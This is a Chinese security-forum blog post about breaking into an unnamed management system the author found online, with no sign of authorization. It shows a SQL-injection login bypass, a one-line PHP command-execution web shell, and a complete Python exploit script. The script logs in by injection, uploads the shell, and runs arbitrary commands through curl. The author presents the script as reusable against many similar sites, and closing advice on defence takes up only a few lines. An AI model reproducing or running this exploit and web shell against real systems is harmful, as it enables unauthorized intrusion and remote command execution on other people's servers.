问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
某管理系统代码执行以及脚本表写
漏洞分析
日常测试
前言 == 我习惯于在网上逛逛系统,有天突然逛到国外一管理系统,目测就是小资金开发,像这种类型的一般安全性很差,且存在postsql注入,废话不多说,我们来测试一波。 过程 == [![](https://shs3.b.qianxin.com/attack_forum/2021/07/attach-0e0e7335d437d5b3c11885d44200e5849d09ea42.png)](https://shs3.b.qianxin.com/attack_forum/2021/07/attach-0e0e7335d437d5b3c11885d44200e5849d09ea42.png) sql注入成功登录 admin a' or 1=1# [![](https://shs3.b.qianxin.com/attack_forum/2021/07/attach-725ecc750ef6c5c9a6ea447ff05aa738b466b561.png)](https://shs3.b.qianxin.com/attack_forum/2021/07/attach-725ecc750ef6c5c9a6ea447ff05aa738b466b561.png) 最重要的当然是拿shell了,先找上传点 [![](https://shs3.b.qianxin.com/attack_forum/2021/07/attach-3a506780bf86e3bb539d1ea336e07c1e621856e9.png)](https://shs3.b.qianxin.com/attack_forum/2021/07/attach-3a506780bf86e3bb539d1ea336e07c1e621856e9.png) 我之前也说过,像这种样的教会安全性也不高,所以我们直接传上一个,远程执行的文件 ```php <?php if(isset($_REQUEST['cmd'])){$cmd = ($_REQUEST['cmd']); system($cmd);die; }?> ``` 但直接上传之后,啥也没有,没上传上去,这里也并不是说他管理员做了安全防护的,而是这个功能可能并没有做完善了,这个时候我们有两种选择,一:自己写包 二:写脚本。 我选择了二,因为像这种样的网站还有很多,写个脚本以后也方便 [![](https://shs3.b.qianxin.com/attack_forum/2021/07/attach-c1e9fa53d13bf6ffdc1936961c91058d384e5321.png)](https://shs3.b.qianxin.com/attack_forum/2021/07/attach-c1e9fa53d13bf6ffdc1936961c91058d384e5321.png) 方法里清一色的都是get,虽说网站安全很差,但不能都用get吧,我们抓包看一下[![](https://shs3.b.qianxin.com/attack_forum/2021/07/attach-40d7e47f125467e184e7fa8533041ed06144492c.png)](https://shs3.b.qianxin.com/attack_forum/2021/07/attach-40d7e47f125467e184e7fa8533041ed06144492c.png) 这下确认过眼神了,是post方法,后台post并没有发出去,所以没有,我们现在知道了他的上传地址admin\_pic.php 接下来还要知道上传到哪里了,这个就比较容易了,因为这是上传的头像,我们直接去头像看看[![](https://shs3.b.qianxin.com/attack_forum/2021/07/attach-1990047a587b284d5fa1c745d7cee903aca902ab.png)](https://shs3.b.qianxin.com/attack_forum/2021/07/attach-1990047a587b284d5fa1c745d7cee903aca902ab.png) reg为它的初始化头像,并且我们还发现在未登录的情况下,任何文件都无法打开,这也是我唯一赞赏这个系统的地方了,所以这里还要在脚本里写个登录 经过无数次的验证失败后,终于成功,并且请教了大佬,问题出现在最后的远程代码执行上 [![](https://shs3.b.qianxin.com/attack_forum/2021/07/attach-d6f43fc122871185cae7c4d8057ae48d47baf264.png)](https://shs3.b.qianxin.com/attack_forum/2021/07/attach-d6f43fc122871185cae7c4d8057ae48d47baf264.png) 关键代码os.system:system函数可以将字符串转化成命令在服务器上运行;我在脚本方面还是比较差的,之前都是直接加载字符串,那怎么可能加载出来啊,大家一定要好好学习一下脚本的制作,我们执行一下看看。 [![](https://shs3.b.qianxin.com/attack_forum/2021/07/attach-43da07d20e689453a5759cd24c8e03e1cb79ffa9.png)](https://shs3.b.qianxin.com/attack_forum/2021/07/attach-43da07d20e689453a5759cd24c8e03e1cb79ffa9.png) 对,还有一个重点session.post直接调用创建session实例后,cookie是一直有效的 ```php import requests from requests_toolbelt.multipart.encoder import MultipartEncoder import random import os, sys import argparse import optparse import string if len(sys.argv) != 5: print('Usage: -u http://<ip> -c <"command">') print('ex. python3 http:-c "ls+-la"') exit() parser = optparse.OptionParser() parser.add_option('-u', '--url', action="store", dest="url") parser.add_option('-c', '--cmd', action="store", dest="cmd") options, args = parser.parse_args() print(options.url, options.cmd) print(len(sys.argv)) def randomGen(size=8, chars=string.ascii_lowercase): return ''.join(random.choice(chars) for _ in range(size)) urlb ase = options.url + '/cman/admin'; loginUrl = urlb ase + '/index.php'; shellFile = randomGen() + ".php" payload = {"username": "admin", "password": "a' or 'a'='a'#", "login": ""}; proxies = {"http": "http://localhost:8080"} mp_encoder = MultipartEncoder(fields={ "image": (shellFile, "<?php if(isset($_REQUEST['cmd'])){$cmd = ($_REQUEST['cmd']); system($cmd);die; }?>", "application/x-php"), "change": ""}) session = requests.Session() r = session.post(loginUrl, payload, allow_redirects=False) # , proxies=proxies) cookie = r.headers["Set-Cookie"] headers = {"Cookie": cookie, 'Content-Type': mp_encoder.content_type} uploadUrl = urlb ase + "/admin_pic.php" post = session.post(uploadUrl, data=mp_encoder, allow_redirects=False, headers=headers, proxies=proxies) os.system("curl " + urlb ase + "/uploads/" + shellFile + "?cmd=" + options.cmd) ``` 源码我也分享出来了,前面的头文件一般都用这几个 总结 == 像这种样的系统还有很多,我们一定要把最基本的安全做了,比如sql注入,对上传的限制(各种限制都要有,不能只做表面,安全行业的人员一定要加强脚本语言的能力,这点我和大家一样,在努力中。
发表于 2021-07-21 16:05:12
阅读 ( 5042 )
分类:
渗透测试
0 推荐
收藏
0 条评论
请先
登录
后评论
xingshen
6 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!